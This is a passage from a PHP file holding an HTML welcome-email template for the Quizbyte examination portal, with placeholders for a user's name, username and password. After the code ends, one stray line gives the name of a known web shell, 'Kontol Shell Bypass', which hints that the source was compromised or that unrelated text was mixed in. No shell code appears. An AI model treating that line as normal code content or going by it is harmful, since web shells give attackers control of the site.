			<table style="width:600px; margin:0px auto;" cellpadding="0" border="0" cellspacing="0">
			<tr>
				<td colspan="2">
				<img src="https://quizbyte.sharda.ac.in/images/qb-banner.jpg" width="100%" />
				</td>
			 </tr>
			<tr>
				<td colspan="2" style="font-family:Tahoma, Geneva, sans-serif; padding:20px 50px 20px 20px; border-right:1px solid #ccc;border-left:1px solid #ccc;">
					<p style="font-size:16px; font-family:Tahoma, Geneva, sans-serif; color:#444;">Dear ##FULLNAME##,</p>
					<p style="font-size:14px; font-family:Tahoma, Geneva, sans-serif; color:#444;padding-top:20px;">Welcome to Quizbyte online examination portal. Please find your login details below. </p>
					<p style="padding:0; margin:0px;font-size:14px; font-family:Tahoma, Geneva, sans-serif; color:#444;">User Name: <strong>##USERNAME##</strong></p>
					<p style="padding:0; margin:0px;font-size:14px; font-family:Tahoma, Geneva, sans-serif; color:#444;">Password: <strong>##PASSWORD##</strong></p>
					<p style="padding:0; margin:0px;font-size:14px; font-family:Tahoma, Geneva, sans-serif; color:#444;">Click here: <a href="https://quizbyte.sharda.ac.in/">To Start Using Quizbyte Now</a></p>
					<br/><br/>
					<p style="padding:0; margin:0px;font-size:12px; font-family:Tahoma, Geneva, sans-serif; color:#444; font-style:italic;">Note : Do not share the username and password with anyone. </p>
					<p style="padding:0; margin:0px;font-size:12px; font-family:Tahoma, Geneva, sans-serif; color:#444; font-style:italic;">Don\'t use personal email id ex. gmail, yahoo, rediffmail, hotmail. </p>
					<p style="padding:0; margin:0px;font-size:12px; font-family:Tahoma, Geneva, sans-serif; color:#444; font-style:italic;">If you have any questions, please let us know by sending an email to quizbyte@sharda.ac.in</p>
				</td>
			</tr>
			<tr bgcolor="#220038">
			<td colspan="2" style="padding:10px 20px 0px 20px;"><hr style="border-top:1px solid #fff; padding:0; margin:10px 0;" /></td>
			</tr>
			<tr bgcolor="#220038">
				<td colspan="2">
					<table width="100%">
						<tr>
					   <td align="center" colspan="2" valign="middle" style="padding:10px 10px 30px 10px; "> 
						<a href="https://quizbyte.sharda.ac.in" style="color:#fff; font-size:16px; font-family:Tahoma, Geneva, sans-serif; text-decoration:none; padding:2px 0; line-height:20px; "> quizbyte.sharda.ac.in</a>
						</td>
						</tr>
					
					</table>
				</td>
				
				
			</tr>

			</table>

			</body>
			</html>';
		return $template;
	}
}

Kontol Shell Bypass